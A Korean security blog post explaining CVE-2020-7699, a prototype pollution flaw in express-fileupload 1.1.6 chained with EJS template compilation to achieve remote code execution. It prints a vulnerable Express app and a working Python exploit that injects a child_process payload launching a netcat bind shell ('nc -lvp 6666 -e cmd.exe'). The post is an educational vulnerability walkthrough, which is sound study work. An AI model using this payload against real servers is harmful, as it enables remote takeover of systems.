Hacking Note/Web

Node JS prototype pollution to RCE / express-fileupload@1.1.6 + EJS

LittleDev0617 2020. 9. 7. 18:23

http://blog.p6.is/Real-World-JS-1/

posix님이 발견하신 CVE-2020-7699 취약점이 너무나 흥미로워 보였고, 유익한 내용이기에 적어본다.

 

실습 환경은 express-fileupload@1.1.6 버전을 사용해야한다.

우선, prototype pollution 에 대해 간단하게 표현해보자면, 아래와 같다.

var a = {}
var b = {}

b.__proto__.pollution = '1'

console.log(a.pollution)
// '1'

자칫 신경 안써도 될 것 같아 보이지만, express-fileupload@1.1.6 에서 parseNested option이 설정돼있으면 아래와 같은 내부 동작이 이루어진다.

// node_modules\express-fileupload\lib\processMultipart.js
busboy.on('finish', () => {
    debugLog(options, `Busboy finished parsing request.`);
    if (options.parseNested) {
        req.body = processNested(req.body);
        req.files = processNested(req.files);
    }

    if (!req[waitFlushProperty]) return next();
    Promise.all(req[waitFlushProperty])
        .then(() => {
        delete req[waitFlushProperty];
        next();
    }).catch(err => {
        delete req[waitFlushProperty];
        debugLog(options, `Error while waiting files flush: ${err}`);
        next(err);
    });
});

options.parseNested 가 참이라면, processNested 함수를 호출한다.

//node_modules\express-fileupload\lib\processNested.js
module.exports = function(data){
  if (!data || data.length < 1) return {};
  
  let d = {},
    keys = Object.keys(data);

  for (let i = 0; i < keys.length; i++) {
    let key = keys[i],
      value = data[key],
      current = d,
      keyParts = key
        .replace(new RegExp(/\[/g), '.')
        .replace(new RegExp(/\]/g), '')
        .split('.');
  
    for (let index = 0; index < keyParts.length; index++){
      let k = keyParts[index];
      if (index >= keyParts.length - 1){
        current[k] = value;
      } else {
        if (!current[k]) current[k] = !isNaN(keyParts[index + 1]) ? [] : {};
        current = current[k];
      }
    }
  }
  
  return d;
};

위와 같이 processNested({'a.b.c':1}) 의 결과값은 {'a':{'b':{'c':1}}} 이 된다.

여기서, processNested({'__proto__.TEST':1}) 의 결과값은 어떻게 될까?

처음 for를 돌때 current = current.__proto__ 가 되고, 다음 for 에서 위의 조건에 걸려 current.__proto__.TEST = 1 이 실행된다.

이 prototype pollution은 EJS 모듈 등등 모듈과 함께하면 RCE 까지 가능해진다.

 

//node_modules\ejs\lib\ejs.js
compile: function () {
  /** @type {string} */
  var src;
  /** @type {ClientFunction} */
  var fn;
  var opts = this.opts;
  var prepended = '';
  var appended = '';
  /** @type {EscapeCallback} */
  var escapeFn = opts.escapeFunction;
  /** @type {FunctionConstructor} */
  var ctor;

  if (!this.source) {
    this.generateSource();
    prepended +=
      '  var __output = "";\n' +
      '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
    if (opts.outputFunctionName) {
      prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
    }
    if (opts.destructuredLocals && opts.destructuredLocals.length) {
      var destructuring = '  var __locals = (' + opts.localsName + ' || {}),\n';
      for (var i = 0; i < opts.destructuredLocals.length; i++) {
        var name = opts.destructuredLocals[i];
        if (i > 0) {
          destructuring += ',\n  ';
        }
        destructuring += name + ' = __locals.' + name;
      }
      prepended += destructuring + ';\n';
    }
    if (opts._with !== false) {
      prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
      appended += '  }' + '\n';
    }
    appended += '  return __output;' + '\n';
    this.source = prepended + this.source + appended;
  }

위의 함수의 아래 부분에서 RCE가 가능해진다. 

if (opts.outputFunctionName) {
	prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

prototype pollution 을 이용해 __proto__.outputFunctionName 을 javascript code로 조작하면 RCE가 가능해진다.

 

-실습

app.js

// express-fileupload@1.1.6
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();

app.use(fileUpload({parseNested:true}));

app.get('/',function(req,res){
    console.log(Object.prototype.polluted);
    res.render('index.ejs');
})
app.listen(7777)

 

ex.py

import requests

cmd = 'nc -lvp 6666 -e cmd.exe'
# pollute
requests.post('http://localhost:7777', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://localhost:7777')

위와 같이 성공적으로 RCE가 된 것을 볼 수 있다.

 

prototype pollution 이 실제 어떻게 사용되고, 얼마나 위험한지 몰랐는데, 이번에 알게 된 것 같다.

'Hacking Note > Web' 카테고리의 다른 글

DarkCON CTF 에서 몰랐던 것들  (0) 2021.02.21